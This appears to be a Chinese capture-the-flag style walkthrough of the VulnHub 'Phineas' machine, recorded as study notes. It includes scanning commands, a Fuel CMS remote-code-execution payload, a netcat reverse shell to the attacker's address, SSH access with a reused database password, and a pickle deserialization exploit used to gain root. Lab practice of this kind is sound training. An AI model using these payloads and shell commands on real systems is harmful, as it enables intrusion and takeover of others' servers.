学习参考:
https://www.bilibili.com/video/BV1Ro4y1J7Dj/
官方靶机:
https://www.vulnhub.com/entry/phineas-1,674/
虚拟机软件:VMware
攻击机地址:kali2021:192.168.64.134
靶机地址:phineas:192.168.64.135
靶机:
nmap -sn 192.168.64.0/24
netdiscover
nmap -p- -sV -A 192.168.64.135
3,对80端口做gobuster,发现了/structure目录
gobuster dir -u http://192.168.64.135 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak \
--exclude-length 0
4,对/structure目录做上下文检索,又发现几个目录
gobuster dir -u http://192.168.64.135/structure \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak \
--exclude-length 2899
curl -L -i http://192.168.64.135/structure/index.php
curl -L -i http://192.168.64.135/structure/robots.txt
发现了一个fuel的路径
curl -L -i http://192.168.64.135/structure/composer.json
发现:"name" : "codeigniter/framework",
codeigniter/framework:是一个建站工具
链接:https://codeigniter.com/
6,对/fuel上下文检索
gobuster dir -u http://192.168.64.135/structure/fuel \ 130 ⨯
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak \
--exclude-length 0
出来了很多目录,特别像CMS的网站
http://192.168.64.135/structure/
输入:http://192.168.64.135/structure/fuel/
跳转到:http://192.168.64.135/structure/fuel/start
发现目录
在此处猜测,有一个系统叫做fuel,只不过现在还没发现入口
8,本地搜索一下fuel,发现是CMS
searchsploit fuel
有RCE和sql注入,但是sql注入需要认证
搜索第一个RCE的目录
locate 47138.py
拷贝到桌面
Cat一下
burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
发现绝对路径
url encode解码出来:https://www.urldecoder.io/
'+pi(print($a='system'))+$a(' ')+'"
更改47138.py文件的url和删除代理
给47138.py一个可执行权限
chmod +x 47138.py
执行一下发现还是找不到
192.168.64.135/structure/index.php/fuel
发现这个有200返回值,进行网站测试
发现了fuel cms
再次更改47139.py的url
出现问题:requests.exceptions.TooManyRedirects: Exceeded 30 redirects.
最终发现是url路径写错了
发现了systemid,能够执行id就能够执行nc
nc -nlvp 4444
cmd:nc 192.168.64.134 4444 -e /bin/bash
用靶机的bash进行操作,把本机的bash推回来
推回来后,进行ls等一系列操作
11,查看配置文件,看有没有能登录的账号
cat database.php
开放了22端口,使用ssh链接,输入刚才保存的数据库的密码,发现可以进入
看有无管理员权限,发现无
find / -perm -u=s -type f 2>/dev/null
看有没有suid权限的命令
发现一个root用户目录
查看一下,发现app.py,anna用户可读
查看到app.py内的内容,有一个pickle包,专门做python序列化和反序列化的工作,运用的时候存在RCE漏洞
令人困惑的是,80端口使用的是php,这个python的端口在哪里
12,上传检测脚本
创建文件,下载脚本
mkdir vuln-vm
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
上传linpeas.sh
加可执行权限
开始检测
发现了app.py一点不对劲的地方,631和5000是什么
发现server是python服务,很有可能运行了app
curl -L -i http://127.0.0.1:5000
13,找一个pickle漏洞的执行脚本
Github’搜索:
https://github.com/CalfCrusher/Python-Pickle-RCE-Exploit/blob/main/Pickle-PoC.py
复制代码到靶机的目录
touch pickle-exp.py
vi pickle-exp.py
参考app.py url,改ip,改post参数名
Pickle-exp.py
重启监听
Nc – nlvp 4444
加权限执行
14,进入root
显示是root权限
进入root目录,查看root.txt,得到root密码